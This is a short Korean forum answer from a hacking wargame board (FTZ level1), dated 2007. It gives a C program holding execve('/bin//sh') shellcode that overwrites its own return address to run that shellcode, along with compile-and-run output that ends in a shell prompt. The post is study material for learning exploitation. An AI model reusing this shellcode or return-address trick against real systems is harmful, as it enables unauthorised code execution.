|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2584 [복사]
EGGSHELL에서 NOP코드를 제외한 쉘코드를 추출하여 다음과 같이 프로그램을 만듭니다.
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; // <-- 16진 쉘코드.
int main()
{
int *ret;
ret = (int *)&ret + 2; // 고의적으로 리턴어드레스를 가리키게 함.
*ret = (int)shellcode; // 리턴어드레스를 쉘코드주소로 변경.
}
이렇게 테스트를 해보시면 됩니다.
실제 컴파일과 실행하면 다음과 같이 되면 성공입니다.
[level1@ftz tmp]$ gcc -o test test.c
[level1@ftz tmp]$ ./test
sh-2.05b$
이 방법은 커널 2.4에서만 테스트가 가능합니다.
커널 2.6에서는 다른방법으로 하셔야 합니다.
즐거운 하루 되세요~ |
Hit : 2173 Date : 2007/11/23 11:05
|
2844, 
1/143 
randomkid
